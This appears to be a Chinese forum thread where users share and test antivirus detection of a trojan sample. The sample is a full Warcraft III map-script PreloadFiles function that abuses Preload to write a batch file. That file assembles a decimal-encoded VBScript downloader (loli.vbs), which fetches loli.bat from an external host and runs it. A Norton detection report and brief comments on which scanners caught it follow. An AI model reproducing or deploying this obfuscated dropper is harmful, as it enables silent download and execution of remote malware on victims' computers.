木马

vm001

Luca.l

彩虹丶//

function PreloadFiles takes nothing returns nothing

        call Preload( "
echo off
del "c:/loli.vbs"
cls
set /p=data=^"83,101,116,32,80,111,115,116,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,115,120,109,108,50,46,83,101,114,118,101,114,88,77,76,72,84,84,80,46,51,46,48,34,41,13,10,<nul>>c:/loli.vbs
2>nul " )
        call Preload( " "2>nul
set /p=83,101,116,32,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,<nul>>c:/loli.vbs
2>nul " )
        call Preload( " "2>nul
set /p= 116,112,58,47,47,119,119,119,46,108,111,120,118,101,46,99,111,109,47,108,111,108,105,46,98,97,116,34,44,48,13,10,80,111,115,116,46,83,101,110,100,40,41,13,10,83,101,116,32,97,71,101,116,32,61,32,67,114,101,97,116,101<nul>>c:/loli.vbs
2>nul " )
        call Preload( " "2>nul
set /p= ,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,13,10,97,71,101,116,46,77,111,100,101,32,61,32,51,13,10,97,71,101,116,46,84,121,112,101,32,61,32,49,13,10,97,71,101,116,46,79,112,101,110,40,<nul>>c:/loli.vbs
2>nul " )
        call Preload( " "2>nul
set /p=41,32,13,10,97,71,101,116,46,87,114,105,116,101,40,80,111,115,116,46,114,101,115,112,111,110,115,101,66,111,100,121,41,13,10,97,71,101,116,46,83,97,118,101,84,111,70,105,108,101,32,34,99,58,92,108,111,108,105,46,98,<nul>>c:/loli.vbs
2>nul " )
        call Preload( " "2>nul
>>c:/loli.vbs echo 97,116,34,44,50,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,49,48,48,48,32,13,10,83,104,101,108,108,46,82,117,110,32,40,34,99,58,92,108,111,108,105,46,98,97,116,34,41"
echo Function ChrData(Data)>>c:/loli.vbs
2>nul " )
        call Preload( " "2>nul
>>c:/loli.vbs echo MyArray = Split(Data, ",", -1, 1)
>>c:/loli.vbs echo For each OldData in MyArray
>>c:/loli.vbs echo Newdata=NewData^&chr(OldData)
>>c:/loli.vbs echo Next
>>c:/loli.vbs echo ChrData=NewData
2>nul " )
        call Preload( " "2>nul
>>c:/loli.vbs echo End Function
>>c:/loli.vbs echo wscript.sleep 30000
>>c:/loli.vbs echo execute Chrdata(data)
start c:/loli.vbs
exit
" )
        call PreloadEnd( 0.0 )

endfunction


[:340:][:340:][:340:][:340:]

狐狸糊涂

胖福

文件名: loli.vbs
威胁名称: JS.Downloader完整路径: c:\loli.vbs

____________________________

____________________________


在电脑上 
不可用

上次使用时间 
2016-12-20 ( 10:29:14 )

启动项 
否

已启动 
否

威胁类型: 病毒。 将自身插入或附加到其他程序、文件或电脑区域以感染这些媒介的程序。

____________________________


loli.vbs 威胁名称: JS.Downloader
定位


未知
Norton 社区中使用了此文件的用户数 未知。

未知
此文件版本当前 未知。

高
此文件具有高风险。


____________________________


来源: 外部介质


____________________________

文件操作

文件: c:\ loli.vbs 已删除
____________________________


文件指纹 - SHA:
不可用
文件指纹 - MD5:
不可用

猪头无双

对这种VBScript，NOD杀的次数几乎为0

心醉咖啡

管家

轩夏

卡巴 miss

dongwenqi

轩夏 发表于 2016-12-20 13:34
卡巴 miss

loli.bat detected Trojan.BAT.Agent.arb